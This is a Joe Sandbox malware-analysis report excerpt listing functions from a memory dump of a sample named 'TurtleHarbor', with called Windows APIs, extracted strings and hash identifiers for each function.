                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: GlobalMemorySleepStatus
                                            • String ID: @
                                            • API String ID: 2783356886-2766056989
                                            • Opcode ID: 13fb18929704cf883f39a5cc257b1c84c0cc7b97d7e1d5edbe5824c0d1a35fdd
                                            • Instruction ID: 01df93d7c384f7f3fc355bb0d8514559cc6d6591842bc9cb600266ee5ac501c1
                                            • Opcode Fuzzy Hash: 13fb18929704cf883f39a5cc257b1c84c0cc7b97d7e1d5edbe5824c0d1a35fdd
                                            • Instruction Fuzzy Hash: 245169B14087449BE321AF14EC85BAFB7FCFB89314F81894CF2D845091DB709468CB16
                                            Function 00398096 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 97windowCOMMON
                                            Download Yara Rule
                                            APIs
                                            • SendMessageW.USER32(00000027,00001132,00000000,?), ref: 00398186
                                            • SendMessageW.USER32(?,00001105,00000000,00000000), ref: 0039819B
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: MessageSend
                                            • String ID: '
                                            • API String ID: 3850602802-1997036262
                                            • Opcode ID: 5d50184c3cd53d979f65fc61c955e260a6036f202507dd301a92660839ee5fee
                                            • Instruction ID: 05f92ade8b706e1e771f2181c19e7a300366f0ca67980530db9499773d2ca382
                                            • Opcode Fuzzy Hash: 5d50184c3cd53d979f65fc61c955e260a6036f202507dd301a92660839ee5fee
                                            • Instruction Fuzzy Hash: 89413975A01209AFDF15CF68C881BDA7BB9FF49300F10006AE904EB351DB30A956CF90
                                            Function 00382C5A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 97networkCOMMON
                                            Download Yara Rule
                                            APIs
                                            • _memset.LIBCMT ref: 00382C6A
                                            • InternetCrackUrlW.WININET(?,00000000,00000000,0000007C), ref: 00382CA0
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: CrackInternet_memset
                                            • String ID: |
                                            • API String ID: 1413715105-2343686810
                                            • Opcode ID: 3d872c28be7656a446e1036715d6d098b45c869ec4cf973b28c214b3f89ebd5b
                                            • Instruction ID: db50f52be38ea5a9e7abc06d5b9959ed6b5d60136d9fcf50aee64df18452af28
                                            • Opcode Fuzzy Hash: 3d872c28be7656a446e1036715d6d098b45c869ec4cf973b28c214b3f89ebd5b
                                            • Instruction Fuzzy Hash: FD313B75C00219ABCF02EFA0DD85AEFBFB9FF18310F100059F915AA166DB315A56DBA0
                                            Function 00397088 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95COMMON
                                            Download Yara Rule
                                            APIs
                                            • DestroyWindow.USER32(?,?,?,?), ref: 0039713C
                                            • MoveWindow.USER32(?,?,?,?,?,00000001,?,?,?), ref: 00397178
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: Window$DestroyMove
                                            • String ID: static
                                            • API String ID: 2139405536-2160076837
                                            • Opcode ID: 5b0e0d636bf7c63a676632acaf0ff82bb7c9d718593201d9a83e966ae2a78b94
                                            • Instruction ID: 2decde5b6fa549186c05c6150aca201ea35e35c340d31707af5c07459700af26
                                            • Opcode Fuzzy Hash: 5b0e0d636bf7c63a676632acaf0ff82bb7c9d718593201d9a83e966ae2a78b94
                                            • Instruction Fuzzy Hash: 26319A71110604AAEF169F78DC80AFB77ADFF88720F119619F9A587290DB31AC81CB60
                                            Function 00373049 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 88windowCOMMON
                                            Download Yara Rule
                                            APIs
                                            • _memset.LIBCMT ref: 003730B8
                                            • GetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 003730F3
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: InfoItemMenu_memset
                                            • String ID: 0
                                            • API String ID: 2223754486-4108050209
                                            • Opcode ID: bffe187a78c7fec63064ae95eee8b6b1e335051fe046c25c0d5cf15f5a78a49f
                                            • Instruction ID: 8547ebda1e435164dbc49a6bfb5d3c5d4f17ed0393129e0a5c5adb2ca5a87fa8
                                            • Opcode Fuzzy Hash: bffe187a78c7fec63064ae95eee8b6b1e335051fe046c25c0d5cf15f5a78a49f
                                            • Instruction Fuzzy Hash: 1E312B31600305DFEB36EF58C885BEEBBB8EF05340F15C019E889A61A1D7789B44EB51
                                            Function 003840B5 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 84COMMON
                                            Download Yara Rule
                                            APIs
                                            • __snwprintf.LIBCMT ref: 00384132
                                              • Part of subcall function 00321A36: _memmove.LIBCMT ref: 00321A77
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: __snwprintf_memmove
                                            • String ID: , $$AUTOITCALLVARIABLE%d
                                            • API String ID: 3506404897-2584243854
                                            • Opcode ID: 88ebfdc36538d64643222b469cf51277d0984a3d0f78fde59b5c97ed1aaf19c6
                                            • Instruction ID: 35c9798a098485375679e6b53e1c76441efb82f79955d612c7828064fd382783
                                            • Opcode Fuzzy Hash: 88ebfdc36538d64643222b469cf51277d0984a3d0f78fde59b5c97ed1aaf19c6
                                            • Instruction Fuzzy Hash: BC21B130A0022DABCF06EF64D996EEE77B8AF54740F404498F905EB141DB30A985CBA1
                                            Function 00396CF9 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72windowCOMMON
                                            Download Yara Rule
                                            APIs
                                            • SendMessageW.USER32(00000000,00000143,00000000,?), ref: 00396D86
                                            • SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00396D91
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: MessageSend
                                            • String ID: Combobox
                                            • API String ID: 3850602802-2096851135
                                            • Opcode ID: 2f7acca1ccb6c2fd11cdebaf1cb30050815acd9c0cf95de2ee2d721067031a50
                                            • Instruction ID: f40fbae9a54037dc931f859fb0995230df6ccb5fd696aa83f96fc179eea3b6bd
                                            • Opcode Fuzzy Hash: 2f7acca1ccb6c2fd11cdebaf1cb30050815acd9c0cf95de2ee2d721067031a50
                                            • Instruction Fuzzy Hash: 1C11B271311208BFEF169E54DC82EFB3B6EEB883A4F114129F9289B290D6319C5087A0
                                            Function 0039722C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 68COMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 00312111: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 0031214F
                                              • Part of subcall function 00312111: GetStockObject.GDI32(00000011), ref: 00312163
                                              • Part of subcall function 00312111: SendMessageW.USER32(00000000,00000030,00000000), ref: 0031216D
                                            • GetWindowRect.USER32(00000000,?), ref: 00397296
                                            • GetSysColor.USER32(00000012), ref: 003972B0
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: Window$ColorCreateMessageObjectRectSendStock
                                            • String ID: static
                                            • API String ID: 1983116058-2160076837
                                            • Opcode ID: f1a3d5e3d4951c09c787dc3003630d176b4177b5af366ba206d967d7a0c9210d
                                            • Instruction ID: 30637c8e06879ba378b67ea0601d49ce3aaabf9c002da229f332bac003ffa4bc
                                            • Opcode Fuzzy Hash: f1a3d5e3d4951c09c787dc3003630d176b4177b5af366ba206d967d7a0c9210d
                                            • Instruction Fuzzy Hash: 7F21477262420AAFDF0ADFB8CC45AFA7BA8EB09304F014918FD95D3290E735A8509B50
                                            Function 00396F45 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 64windowCOMMON
                                            Download Yara Rule
                                            APIs
                                            • GetWindowTextLengthW.USER32(00000000), ref: 00396FC7
                                            • SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 00396FD6
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: LengthMessageSendTextWindow
                                            • String ID: edit
                                            • API String ID: 2978978980-2167791130
                                            • Opcode ID: b27f70122156085a2e08bbd0163f6bc05d840a72b2e3049a2ad4d93c9a96838c
                                            • Instruction ID: 2a3f5aa0caec88088a5005cb042e50f968cf1f0cefeed3aea9a72a4842b9b43c
                                            • Opcode Fuzzy Hash: b27f70122156085a2e08bbd0163f6bc05d840a72b2e3049a2ad4d93c9a96838c
                                            • Instruction Fuzzy Hash: 11118C71502208AFEF129E64EC86EFB3B6EEB05368F114714F966971E0C735DC909B60
                                            Function 00373156 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63windowCOMMON
                                            Download Yara Rule
                                            APIs
                                            • _memset.LIBCMT ref: 003731C9
                                            • GetMenuItemInfoW.USER32(00000030,?,00000000,00000030), ref: 003731E8
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: InfoItemMenu_memset
                                            • String ID: 0
                                            • API String ID: 2223754486-4108050209
                                            • Opcode ID: 0b7d236fb21c1c1ee647c78dea027f3c8a366533cdd02c283a1227f7683eebec
                                            • Instruction ID: 92c6024cd7109fb0ee892693bc2d9d6d20b4cb0303aa2990a806c7a7931d1fd9
                                            • Opcode Fuzzy Hash: 0b7d236fb21c1c1ee647c78dea027f3c8a366533cdd02c283a1227f7683eebec
                                            • Instruction Fuzzy Hash: 88112635902116EBDB33EA98DC45B9D73BCAB05300F458122E809A7291D738AF04EB90
                                            Function 003134E4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63COMMON
                                            Download Yara Rule
                                            APIs
                                            • DeleteObject.GDI32(?), ref: 0031351D
                                            • DestroyWindow.USER32(?,?,00324E61), ref: 00313576
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: DeleteDestroyObjectWindow
                                            • String ID: h:
                                            • API String ID: 2587070983-2924159345
                                            • Opcode ID: 94bff7db8cff0da20c66ad3ed07cf5ae38175b3bec8ab46fda5f9bbbf72f6b7b
                                            • Instruction ID: 3a32a5b9705ca45fc64298d19ab37784aff856bfa4c1798ddbf71af814e5797a
                                            • Opcode Fuzzy Hash: 94bff7db8cff0da20c66ad3ed07cf5ae38175b3bec8ab46fda5f9bbbf72f6b7b
                                            • Instruction Fuzzy Hash: F021817460A210CFCB1FDF19F859AA533EAAB49710F01455BE806CB6A0EB30DE80DF40
                                            Function 003828A2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62networkCOMMON
                                            Download Yara Rule
                                            APIs
                                            • InternetOpenW.WININET(?,00000000,00000000,00000000,00000000), ref: 003828F8
                                            • InternetSetOptionW.WININET(00000000,00000032,?,00000008), ref: 00382921
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: Internet$OpenOption
                                            • String ID: <local>
                                            • API String ID: 942729171-4266983199
                                            • Opcode ID: 7abf9ddfe16dbc62928aa65968611e33b3cfbc7f5dc75ff7521fc42de72869f4
                                            • Instruction ID: 59277d6e6843a39ac859705f09778c2fbfbf08a10dcf47a167089cad29d6c571
                                            • Opcode Fuzzy Hash: 7abf9ddfe16dbc62928aa65968611e33b3cfbc7f5dc75ff7521fc42de72869f4
                                            • Instruction Fuzzy Hash: 5411A070501325BAEF2A9F518C89EFBFBACFF06751F1081AAF55596500E3706894DBE0
                                            Function 0037D116 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 61COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: _wcscmp
                                            • String ID: 0.0.0.0$L,:
                                            • API String ID: 856254489-1304297062
                                            • Opcode ID: 5a2cf3a6decb3bf7d1d07890f6072cb08ed55c2551a9975d585a828e78156e4d
                                            • Instruction ID: 38db3864b8ca348184816cd205fceef2ad09e7a48e51c4e7c4f071f05d4ea39c
                                            • Opcode Fuzzy Hash: 5a2cf3a6decb3bf7d1d07890f6072cb08ed55c2551a9975d585a828e78156e4d
                                            • Instruction Fuzzy Hash: 75119435600204DFCB19EF14D981E9AB7B9AF89720F51C059F90E5F3A1DA34ED86CB50
                                            Function 00388475 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55networkCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 003886E0: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,?,?,0038849D,?,00000000,?,?), ref: 003886F7
                                            • inet_addr.WSOCK32(00000000,?,00000000,?,?,?,00000000), ref: 003884A0
                                            • htons.WSOCK32(00000000,?,00000000), ref: 003884DD
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: ByteCharMultiWidehtonsinet_addr
                                            • String ID: 255.255.255.255
                                            • API String ID: 2496851823-2422070025
                                            • Opcode ID: 3dec6df7544b3eb6969b46459401bc344e9b65f49bee3815f38aa7df31578dd2
                                            • Instruction ID: efa280c4555b6990cfd8879181ed1bdd6fada8bb3521f9a17e0273ad96e8c174
                                            • Opcode Fuzzy Hash: 3dec6df7544b3eb6969b46459401bc344e9b65f49bee3815f38aa7df31578dd2
                                            • Instruction Fuzzy Hash: 8E11A535100316ABDB11BF64DC46FBEB329FF05320F50855AF9159B291DB72A814C795
                                            Function 003699BD Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52windowCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 00321A36: _memmove.LIBCMT ref: 00321A77
                                              • Part of subcall function 0036B79A: GetClassNameW.USER32(?,?,000000FF), ref: 0036B7BD
                                            • SendMessageW.USER32(?,000001A2,000000FF,?), ref: 00369A2B
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: ClassMessageNameSend_memmove
                                            • String ID: ComboBox$ListBox
                                            • API String ID: 372448540-1403004172
                                            • Opcode ID: e3bb2c5ed9964e983958d327710e683502cd81c785aaf0511fe4d82b5558f7c5
                                            • Instruction ID: ee1e891483949693159fa094e3d4ed1d3ee13b11a760b63349eea98663a7d8bb
                                            • Opcode Fuzzy Hash: e3bb2c5ed9964e983958d327710e683502cd81c785aaf0511fe4d82b5558f7c5
                                            • Instruction Fuzzy Hash: D601F571A41128AB8B16FBA4CC51DFEB3ADEF66320B00460AF8619B2C5DA305D088660
                                            Function 0031BBC6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 52COMMON
                                            Download Yara Rule
                                            APIs
                                            • GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 0031BC07
                                              • Part of subcall function 00321821: _memmove.LIBCMT ref: 0032185B
                                            • _wcscat.LIBCMT ref: 00353593
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: FullNamePath_memmove_wcscat
                                            • String ID: s=
                                            • API String ID: 257928180-3091985080
                                            • Opcode ID: 002ddb17502a0910c2860a5d869c0638e5a543145d022caecbbda76d0ea70e5b
                                            • Instruction ID: be855595bb71b9ef174e484519aceab1c398527702fda7ca3a1f7dd55475cdbf
                                            • Opcode Fuzzy Hash: 002ddb17502a0910c2860a5d869c0638e5a543145d022caecbbda76d0ea70e5b
                                            • Instruction Fuzzy Hash: F311A535A042189BCB07EBA4E981EDEB7ACFF0C350F1000A6B945DB290EF7097C45B91
                                            Function 0037934C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 51COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: __fread_nolock_memmove
                                            • String ID: EA06
                                            • API String ID: 1988441806-3962188686
                                            • Opcode ID: 8e0b21b34f877ea9fa952beff45006cee9c7eaa613a72623c5b22e23f18c966e
                                            • Instruction ID: 1422eac59ca93e37a060075f2772652bfc5ae0e8a4a01b6f1224798f666f666b
                                            • Opcode Fuzzy Hash: 8e0b21b34f877ea9fa952beff45006cee9c7eaa613a72623c5b22e23f18c966e
                                            • Instruction Fuzzy Hash: DA01F9729042587EEB29C6A8CC56FFEBBFC9B01301F00429FF552D6181E578E6048B60
                                            Function 003698B5 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50windowCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 00321A36: _memmove.LIBCMT ref: 00321A77
                                              • Part of subcall function 0036B79A: GetClassNameW.USER32(?,?,000000FF), ref: 0036B7BD
                                            • SendMessageW.USER32(?,00000180,00000000,?), ref: 00369923
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
